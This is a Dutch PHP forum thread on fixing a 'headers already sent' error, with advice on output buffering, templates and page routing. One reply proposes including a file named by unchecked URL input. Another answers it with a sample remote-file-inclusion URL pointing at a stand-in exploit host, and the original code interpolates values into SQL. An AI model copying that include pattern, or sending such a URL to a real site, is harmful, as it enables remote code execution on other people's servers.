[PHP]headers already sent

Pagina: 1
Acties:
  • 299 views sinds 30-01-2008
  • Reageer

Onderwerpen


Acties:
  • 0 Henk 'm!

  • bart1074
  • Registratie: September 2003
  • Laatst online: 27-03-2024
Hoi jongens,

Ik heb weer eens te maken met een befaamde 'headers_already_sent' error. Nou weet ik dat dit meestal te maken heeft met kleine spaties danwel enters op de verkeerde plaats of html boven de header. Ik heb namelijk op de betreffende pagina een if lus staan die zorgt ervoor dat als je ingelogt bent hij een pagina laat zien (die in html is geschreven) en na het sluiten van die lus komt de else met daarin een header("location:index.php?p=home"); voor alle bezoekers die de pagina proberen te bereiken die niet ingelogt zijn. Omdat deze else lus dus onder de html van de if lus staat, die html staat overigens buiten de php om, zal ik wel deze error krijgen. Zo ja, hoe kan ik de lus dan herschrijven? Zo nee, waar zit het probleem dan?

Dit is de error die ik krijg als ik inlog:
Warning: Cannot modify header information - headers already sent by (output started at /storage/mijndomein/users/045763/public/sites/arsenal.bartcrum.com/index.php:12) in /storage/mijndomein/users/045763/public/sites/arsenal.bartcrum.com/admin.php on line 46
en hier zijn de betreffende files te downloaden (rechts klikken en saven):
http://arsenal.bartcrum.com/index.php
http://arsenal.bartcrum.com/admin.php

Overigens heb ik de validator van w3.org al geraadpleegd.

Acties:
  • 0 Henk 'm!

  • Pyrus
  • Registratie: November 2001
  • Laatst online: 21:33

Pyrus

Hardknock life

Nou op regel 12 begint je output, terwijl je op regel 46 headers probeert aan te passen. Dat werkt dus niet.

Zou je daarnaast de relevante code kunnen plaatsen hier? (tussen [code=php][/code] tags ajb) Zo is er niks te downloaden vanaf je server, enige wat we nu krijgen is de geparste php-code.

@Hacku:
Oh ik denk niet dat z'n files alleen html bevatten, aangezien er meuk meegegeven wordt via de url. Lijkt me eerder dat TS er eventjes niet aan gedacht heeft dat je zo geen php-source te zien kunt krijgen ;)

[ Voor 26% gewijzigd door Pyrus op 31-12-2006 20:45 ]

LinkedIn


Acties:
  • 0 Henk 'm!

  • XWB
  • Registratie: Januari 2002
  • Niet online

XWB

Devver
De output vasthouden?

PHP:
1
2
3
4
5
6
7
8
ob_start();
include_once ( 'htmlfile.html' );
$content = ob_get_contents();
ob_end_clean();

// hier wat code, oa headers sturen enzo

echo $content;


http://be2.php.net/ob_start
@Hacku:
Oh ik denk niet dat z'n files alleen html bevatten, aangezien er meuk meegegeven wordt via de url. Lijkt me eerder dat TS er eventjes niet aan gedacht heeft dat je zo geen php-source te zien kunt krijgen
Klopt, ik zat er even naast :X

[ Voor 147% gewijzigd door XWB op 31-12-2006 21:05 ]

March of the Eagles


Acties:
  • 0 Henk 'm!

  • Johnny
  • Registratie: December 2001
  • Laatst online: 16:59

Johnny

ondergewaardeerde internetguru

We kunnen je PHP-code niet zien, zet die hier eens in het forum.

Aan de inhoud van de bovenstaande tekst kunnen geen rechten worden ontleend, tenzij dit expliciet in dit bericht is verwoord.


Acties:
  • 0 Henk 'm!

  • bart1074
  • Registratie: September 2003
  • Laatst online: 27-03-2024
Pyrus schreef op zondag 31 december 2006 @ 20:38:
Nou op regel 12 begint je output, terwijl je op regel 46 headers probeert aan te passen. Dat werkt dus niet.

Zou je daarnaast de relevante code kunnen plaatsen hier? (tussen [code=php][/code] tags ajb) Zo is er niks te downloaden vanaf je server, enige wat we nu krijgen is de geparste php-code.

@Hacku:
Oh ik denk niet dat z'n files alleen html bevatten, aangezien er meuk meegegeven wordt via de url. Lijkt me eerder dat TS er eventjes niet aan gedacht heeft dat je zo geen php-source te zien kunt krijgen ;)
Precies had er even niet aan gedacht dat jullie de geparste php-code zouden krijgen.
Hier is de php code van admin.php:
PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
// login controle
include('config.php');
if($_SESSION['ingelogt'] == true){
?>
<table width="100%" border="0">
  <tr>
    <td><div align="left" class="admin"><u>Admin panel</u></div></td>
  </tr>
  <tr>
    <td>Dit is ons eigen 'adminpanel', hiervandaan kan je content aan onze site toevoegen. De meeste content zal komen van zgn. nieuwsberichten, hierin kan je dingen verwerken als een training die bijvoorbeeld uitvalt, een tussentijds ingeplande (oefen)wedstrijd, etc. Op deze nieuwsberichten kan elke bezoeker reageren d.m.v. zgn. comments. Dit zijn kleine reacties op het betreffende bericht. Zo kunnen we elkaar een beetje op de hoogte houden van de gebeurtenissen rondom Arsenal 9. Maar als er misplaatste reacties zijn kan er altijd ingegrepen worden door deze te bewerken dan wel te verwijderen. Ook heb ik een agenda uitgewerkt, deze is aan de rechterkant van de website te zien. Hierin zullen de eerstvolgende trainingen, wedstrijden, etentjes en andere gezamelijke activiteiten  worden opgenomen. Iedereen kan een agendapunt toevoegen. Voor assistentie bel of <a href="mailto:arsenal9@gmail.com">mail</a> me. </td>
  </tr>
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td><a href="index.php?p=tbericht" class="style4">Schrijf nieuw bericht</a></td>
  </tr>
  <tr>
    <td><a href="index.php?p=bbericht" class="style4">Bewerk bericht</a></td>
  </tr>
  <tr>
    <td><a href="index.php?p=vbericht" class="style4">Verwijder bericht</a></td>
  </tr>
  <tr>
    <td><a href="index.php?p=archief" class="style4">Archief</a></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td><a href="index.php?p=bcomment" class="style4">Bewerk comment(s)</a></td>
  </tr>
  <tr>
    <td><a href="index.php?p=vcomment" class="style4">Verwijder comment(s)</a></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td><a href="index.php?p=maakagendapunt" class="style4">Maak nieuw agendapunt</a></td>
  </tr>
</table>
<?php
}else{
header("location:index.php?p=home");
}
?>


en hier is de index.php pagina:
PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
<?php
include("config.php");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>ASV Arsenal 9 - not just another footballteam.</title>
<link href="standard.css" rel="stylesheet" type="text/css" />
</head>
<body>
<table width="800" border="0" align="center" bgcolor="#e5e3e3">
  <tr>
    <td height="198">
    <table width="100%" border="0" class="tableheader">
      <tr>
        <td width="3%" height="197" align="right" valign="bottom">&nbsp;</td>
        <td width="97%" height="197" align="right" valign="bottom" class="style3"><a href="index.php?p=home" class="header">Home</a> | <a href="index.php?p=team" class="header">Team</a> |  <a href="index.php?p=competitie" class="header">Competitie</a> | <a href="index.php?p=registreren" class="header">Registreren</a> <?php if($_SESSION['ingelogt'] == true){ echo "| <a href=\"index.php?p=admin\" class=\"header\">Admin</a>"; }?> | <a href="index.php?p=login" class="header">Login</a>  </td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td><table width="100%" border="0" bgcolor="#e5e3e3">
      <tr>
        <td valign="top">
                <?php
                $p = $_GET['p'];
                      if(isset($p)){
                      if($p == "home"){
                      include("home.php");
                      }
                      if($p == "team"){
                      include("team.php");
                      }
                      if($p == "competitie"){
                      include("competitie.php");
                      }
                      if($p == "bcomments"){
                      include("bcomments.php");
                      }
                      if($p == "vcomments"){
                      include("vcomments.php");
                      }
                      if($p == "registreren"){
                      include("registreren.php");
                      }
                      if($p == "tbericht"){
                      include("tbericht.php");
                      }
                      if($p == "bbericht"){
                      include("bbericht.php");
                      }
                      if($p == "vbericht"){
                      include("vbericht.php");
                      }
                      if($p == "archief"){
                      include("archief.php");
                      }
                      if($p == "bcomment"){
                      include("bcomments.php");
                      }
                      if($p == "vcomment"){
                      include("vcomments.php");
                      }
                      if($p == "maakagendapunt"){
                      include("maakagendapunt.php");
                      }
                      if($p == "login"){
                      include("login.php");
                      }
                      if($p == "admin"){
                      include("admin.php");
                      }
                      if($p == "bekijkpost"){
                      include("bekijkpost.php");
                      }
                      } else {
                      include("home.php");
                      }
                ?>              </td>
        <td width="280" valign="top" bgcolor="#999999"><table width="100%" border="0">
          <tr>
            <td height="95" valign="top" class="smallheader">&nbsp;</td>
          </tr>
          <tr>
            <td valign="top">
                    <?php
                    
                    $query = "SELECT * FROM agenda ORDER BY 'agenda_id' DESC LIMIT 0, 15";
                    $resultaat = mysql_query($query) or die();

                    while ($list = mysql_fetch_object($resultaat))
                            {   
                                $sql2 = "SELECT gebruikersnaam FROM users WHERE id = '$list->log_id'";
                                $resultaat2 = mysql_query($sql2) or die("Database in gebruik, probeer het later nogmaals");
                                $list2 = mysql_fetch_object($resultaat2);
        
                                echo "<table width=\"100%\" border=\"0\" align=\"left\"><tr><td width=\"35%\"><b>($list->datum, $list->tijd)</b></td><td align=\"left\"><b>$list->agendapunt</b></td></tr></table><br />";
                            }
                    ?>          </td>
          </tr>
          
          <tr>
            <td height="95" valign="top" class="smallheader2">&nbsp;</td>
          </tr>
          <tr>
            <td valign="top">
                <div class="nieuwnieuwsscript"><script language="javascript" src="http://www.nieuwnieuws.nl/nieuwskoppen_30.js" type="text/javascript"></script></div>
            </td>
          </tr>
        </table></td>
      </tr>
    </table></td>
  </tr>
</table>
</body>
</html>

Acties:
  • 0 Henk 'm!

  • StevenK
  • Registratie: Februari 2001
  • Nu online
Je doet de include van admin.php *nadat* je al HTML zooi hebt neergegooid.

Je zult toch echt moeten zorgen dat je alle code waarin je een header() doet, komt voor je HTML output.

(template engine is daarvoor ideaal)

[ Voor 49% gewijzigd door StevenK op 31-12-2006 21:06 ]

Was advocaat maar vindt het juridische nog steeds leuk


Acties:
  • 0 Henk 'm!

  • bart1074
  • Registratie: September 2003
  • Laatst online: 27-03-2024
StevenK schreef op zondag 31 december 2006 @ 21:05:
Je doet de include van admin.php *nadat* je al HTML zooi hebt neergegooid.

Je zult toch echt moeten zorgen dat je alle code waarin je een header() doet, komt voor je HTML output.

(template engine is daarvoor ideaal)
ja dat weet ik in principe wel, maar zijn er ook andere manieren om die include voor m'n html te krijgen. Ben niet zo handig met templates, eerlijk gezegd nog nooit mee gewerkt.

Acties:
  • 0 Henk 'm!

  • XWB
  • Registratie: Januari 2002
  • Niet online

XWB

Devver
Gewoon de output even vasthouden, lees mijn post nog eens :)

March of the Eagles


Acties:
  • 0 Henk 'm!

  • _eXistenZ_
  • Registratie: Februari 2004
  • Laatst online: 16-09 02:11
quote: zelf ff overgetikt spelfouten voorbehouden
Ik ben niet zo goed met templates
http://smartie.php.net

Werkt geweldig goed, snel, en makkelijk.
Ik kon het ook niet maar wat je nu heb is lame tenopzichte van Smartie(nofl)
(Had het namelijk ook ;) en weet nu het verschil)

Een template ziet er dan zo uit:
HTML:
1
2
3
4
{include file=header.tpl}
blablabla hier staat html wat je in je site wil<br />
hier staat overigens je naam: {$naam}
{include file=footer.tpl}


In php kan je variabelen assignen, dus $smartie->assign('naam', 'Henk');

Zo kan je heel mooi eerst de data verzamelen, assignen en dan pas outputten naar de browser :)

[ Voor 8% gewijzigd door _eXistenZ_ op 31-12-2006 21:17 ]

There is no replacement for displacement!


Acties:
  • 0 Henk 'm!

  • bart1074
  • Registratie: September 2003
  • Laatst online: 27-03-2024
Hacku schreef op zondag 31 december 2006 @ 20:39:
De output vasthouden?

PHP:
1
2
3
4
5
6
7
8
ob_start();
include_once ( 'htmlfile.html' );
$content = ob_get_contents();
ob_end_clean();

// hier wat code, oa headers sturen enzo

echo $content;


http://be2.php.net/ob_start


[...]


Klopt, ik zat er even naast :X
Hoe bedoel je dat precies Hacku? gewoon de html uit admin.php in een aparte file zetten en die dan na de headers echo'en? Maar dan gaat het er toch ook anders uitzien? dat verandert mn lus dan toch ook enzo?

Acties:
  • 0 Henk 'm!

  • Janoz
  • Registratie: Oktober 2000
  • Laatst online: 16-09 09:15

Janoz

Moderator Devschuur®

!litemod

Je include je admin in je index. Dit wordt vervolgens als een geheel verwerkt. Zodra je in je admin.php code terecht komt is je halve index.php al verwerkt. Hierin zit ook al een berg code die richting de client gestuurd is.

Dit alles had je ook keurig op kunnen maken uit de foutmelding die immers duidelijk aangeeft dat de output 'already sent' is in index.php op regel 12.

Ken Thompson's famous line from V6 UNIX is equaly applicable to this post:
'You are not expected to understand this'


Acties:
  • 0 Henk 'm!

  • XWB
  • Registratie: Januari 2002
  • Niet online

XWB

Devver
Hoe bedoel je dat precies Hacku?
Je kan output vasthouden voor je die naar de client stuurt. Voorbeeld:

PHP:
1
2
3
4
5
6
7
8
ob_start();
echo 'dit zie je niet'; // komt niet op je scherm
$content = ob_get_contents();
ob_end_clean();

// hier een zooi php code

echo $content; // nu komt de output op het scherm


Maar in jouw geval is het nog eenvoudiger gok ik, je kan de header gewoon in een variabele vasthouden.

PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
include("config.php");
$header = '
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>ASV Arsenal 9 - not just another footballteam.</title>
<link href="standard.css" rel="stylesheet" type="text/css" />
</head>
<body>
<table width="800" border="0" align="center" bgcolor="#e5e3e3">
  <tr>
    <td height="198">
    <table width="100%" border="0" class="tableheader">
      <tr>
        <td width="3%" height="197" align="right" valign="bottom">&nbsp;</td>
        <td width="97%" height="197" align="right" valign="bottom" class="style3"><a href="index.php?p=home" class="header">Home</a> | <a href="index.php?p=team" class="header">Team</a> |  <a href="index.php?p=competitie" class="header">Competitie</a> | <a href="index.php?p=registreren" class="header">Registreren</a>';

if ($_SESSION['ingelogt'] === true)
{
    $header .= ".| <a href=\"index.php?p=admin\" class=\"header\">Admin</a>"; 
} 

$header .= '| <a href="index.php?p=login" class="header">Login</a>  </td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td><table width="100%" border="0" bgcolor="#e5e3e3">
      <tr>
        <td valign="top">';


En $header print je niet wanneer je een header wil sturen, zo is er geen output. Sowieso vind ik dit niet erg netjes, ikzelf gebruik ook altijd een template engine om dit soort problemen te vermijden (en nog 1000 andere redenen).

March of the Eagles


Acties:
  • 0 Henk 'm!

  • StevenK
  • Registratie: Februari 2001
  • Nu online
Het probleem waar jij tegenaan loopt, is dat je je applicatie-logica en je presentatie-logica door elkaar laat lopen.

Dat controleren of iemand ingelogd is, kun je beter aan het begin van je index.php doen en dan is meteen je hele probleem ondervangen.

Was advocaat maar vindt het juridische nog steeds leuk


Acties:
  • 0 Henk 'm!

  • bart1074
  • Registratie: September 2003
  • Laatst online: 27-03-2024
StevenK schreef op zondag 31 december 2006 @ 21:40:
Het probleem waar jij tegenaan loopt, is dat je je applicatie-logica en je presentatie-logica door elkaar laat lopen.

Dat controleren of iemand ingelogd is, kun je beter aan het begin van je index.php doen en dan is meteen je hele probleem ondervangen.
Ja ok, maar dan kan je de pagina dus niet bezoeken als je niet ingelogd bent en dat is wel de bedoeling.

Want ik wil die scheiding houden tussen het admin gedeelte en de voorpagina zeg maar. Of maak je dan twee pagina die je weer scheidt dmv een else lus?

[ Voor 13% gewijzigd door bart1074 op 31-12-2006 21:52 ]


Acties:
  • 0 Henk 'm!

  • bart1074
  • Registratie: September 2003
  • Laatst online: 27-03-2024
Hacku schreef op zondag 31 december 2006 @ 21:24:
[...]


Je kan output vasthouden voor je die naar de client stuurt. Voorbeeld:

PHP:
1
2
3
4
5
6
7
8
ob_start();
echo 'dit zie je niet'; // komt niet op je scherm
$content = ob_get_contents();
ob_end_clean();

// hier een zooi php code

echo $content; // nu komt de output op het scherm
Maar als ik dat op deze manier doe, release ik alle headers dus op hetzelfde moment op een later moment in mijn script. Dat betekent dan toch bijvoorbeeld dat ook mijn css style sheet link later wordt gereleased? Dus dat zou betekenen dat de opmaak weer niet aanwezig is? Of snap ik het echt totaal niet?

Acties:
  • 0 Henk 'm!

  • StevenK
  • Registratie: Februari 2001
  • Nu online
Murderer schreef op zondag 31 december 2006 @ 21:46:
[...]


Ja ok, maar dan kan je de pagina dus niet bezoeken als je niet ingelogd bent en dat is wel de bedoeling.
'tuurlijk wel: je doet ergens een check of je ingelogd bent en daarmee zet je een $admin=true. De admin.php include je alleen als $admin==true.

Was advocaat maar vindt het juridische nog steeds leuk


Acties:
  • 0 Henk 'm!

  • Pyrus
  • Registratie: November 2001
  • Laatst online: 21:33

Pyrus

Hardknock life

Je css is gewoon onderdeel van je html code. Alles wat je normaal gesproken direct zou zien wordt tussen ob_start() en ob_end_clean() in een buffer gezet. Doormiddel van ob_get_contents() wordt de buffer aan een variabele toegewezen. Op het einde print je die variabele.
In die buffer staat dus ook gewoon je link naar de css code, wat geen header is, maar gewoon html content. Deze zal dus ook gewoon geprint worden uiteindelijk :)

LinkedIn


Acties:
  • 0 Henk 'm!

  • DataGhost
  • Registratie: Augustus 2003
  • Laatst online: 21:16

DataGhost

iPL dev

Als je nou eens in plaats van
PHP:
1
header("location:index.php?p=home");

iets doet als
PHP:
1
include("home.php");

heb je hetzelfde effect. Dat is met jouw pagina-opzet en codeerstijl het makkelijkst, en geeft exact hetzelfde effect.

Edit: en maak van die hele rij ifjes alsjeblieft een switch, of tenminste elseifs. Als je in een van de pagina's $p verandert (al dan niet volledig bewust) zou je meerdere pagina's tegelijk kunnen includen.

PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
                <?php 
                $p = $_GET['p']; 
                      if(isset($p)){ 
                      if($p == "home"){ 
                      include("home.php"); 
                      } 
                      elseif($p == "team"){ 
                      include("team.php"); 
                      } 
                      elseif($p == "competitie"){ 
                      include("competitie.php"); 
                      } 
                      elseif($p == "bcomments"){ 
                      include("bcomments.php"); 
                      }

enzovoort. Dit is wederom de makkelijkste oplossing, maar verdient zeker geen schoonheidsprijs.

Edit2: en als ik p=blaat doe krijg ik geen pagina.

Edit3: een switch is ook niet moeilijk, als ik even kijk hoe je precies je ding doet
PHP:
1
2
3
4
5
6
7
8
9
10
11
12
switch($p) {
    case "home":
    case "team":
    case "competitie":
    case "bcomments":
...
        include($p . ".php");
        break;
    default:
        include("home.php");
        break;
}

Zo makkelijk kan het soms zijn.

[ Voor 87% gewijzigd door DataGhost op 31-12-2006 23:00 ]


Acties:
  • 0 Henk 'm!

  • falcon4ever
  • Registratie: Oktober 2001
  • Laatst online: 07-04-2021
_eXistenZ_ schreef op zondag 31 december 2006 @ 21:15:
[...]


http://smartie.php.net

Werkt geweldig goed, snel, en makkelijk.
Ik kon het ook niet maar wat je nu heb is lame tenopzichte van Smartie(nofl)
(Had het namelijk ook ;) en weet nu het verschil)

Een template ziet er dan zo uit:
HTML:
1
2
3
4
{include file=header.tpl}
blablabla hier staat html wat je in je site wil<br />
hier staat overigens je naam: {$naam}
{include file=footer.tpl}


In php kan je variabelen assignen, dus $smartie->assign('naam', 'Henk');

Zo kan je heel mooi eerst de data verzamelen, assignen en dan pas outputten naar de browser :)
*kuch* http://smarty.php.net/ (met een y ;) )

Acties:
  • 0 Henk 'm!

Verwijderd

Edit3: een switch is ook niet moeilijk, als ik even kijk hoe je precies je ding doet
PHP:
1
2
3
4
5
6
7
8
9
10
11
12
switch($p) {
    case "home":
    case "team":
    case "competitie":
    case "bcomments":
...
        include($p . ".php");
        break;
    default:
        include("home.php");
        break;
}

Zo makkelijk kan het soms zijn.
Of nog korter, zonder dat je alle namen hoeft te geven:

PHP:
1
2
3
4
5
6
$p = $_GET['p'];
if ( !is_file("$p.php") ){
     include("home.php"); 
} else {
     include("$p.php");
}

Acties:
  • 0 Henk 'm!

  • Pyrus
  • Registratie: November 2001
  • Laatst online: 21:33

Pyrus

Hardknock life

Dát moet je dus niet doen. Nooit zomaar gebruikersinvoer gebruiken zonder het te controleren, al zeker niet als je met het filesystem iets gaat doen.

LinkedIn


Acties:
  • 0 Henk 'm!

  • Thralas
  • Registratie: December 2002
  • Laatst online: 08:21
Precies. Want wat als iemand het volgende doet:
code:
1
http://example.com/index.php?p=http://exploit.com/mycode

Dat wil je dus niet hebben.

Trouwens, wat wel korter is dan een switch is in_array icm. een array met toegestane waardes.

Acties:
  • 0 Henk 'm!

Verwijderd

Verwijderd schreef op maandag 01 januari 2007 @ 23:37:
Of nog korter, zonder dat je alle namen hoeft te geven:
Zoals de vorige poster al zei, maar ik wil ook nog even aangeven dat een 'file exists' check erg lame is, omdat er genoeg files zijn waar je niet bij zou mogen, maar die wel bestaan (en via php toegankelijk zijn)!

Maak desnoods een aparte controle functie, die op basis van een array alle toegestane waarden controleert. bv iets als (code is niet getest dus zal zo direct wel niet werken, maar het gaat om het idee)
code:
1
2
3
4
5
6
7
8
9
10
11
function check($value)
{
  $allow=array('home','team','competities');
  $ok=false;

  for each ($allow as $test)
    if (!strcmp($test,$value))
      $ok=true;

  return $ok;
}

Zo kun je makkelijk controleren of de gevraagde pagina ok is, of niet. Daarna kun je je $_GET waarde gewoon gaan gebruiken.

Acties:
  • 0 Henk 'm!

  • XWB
  • Registratie: Januari 2002
  • Niet online

XWB

Devver
Kan natuurlijk eenvoudiger:

PHP:
1
2
3
4
5
6
function check($value)
{
  $allow = array('home','team','competities');

  return in_array($value, allow);
}

March of the Eagles

Pagina: 1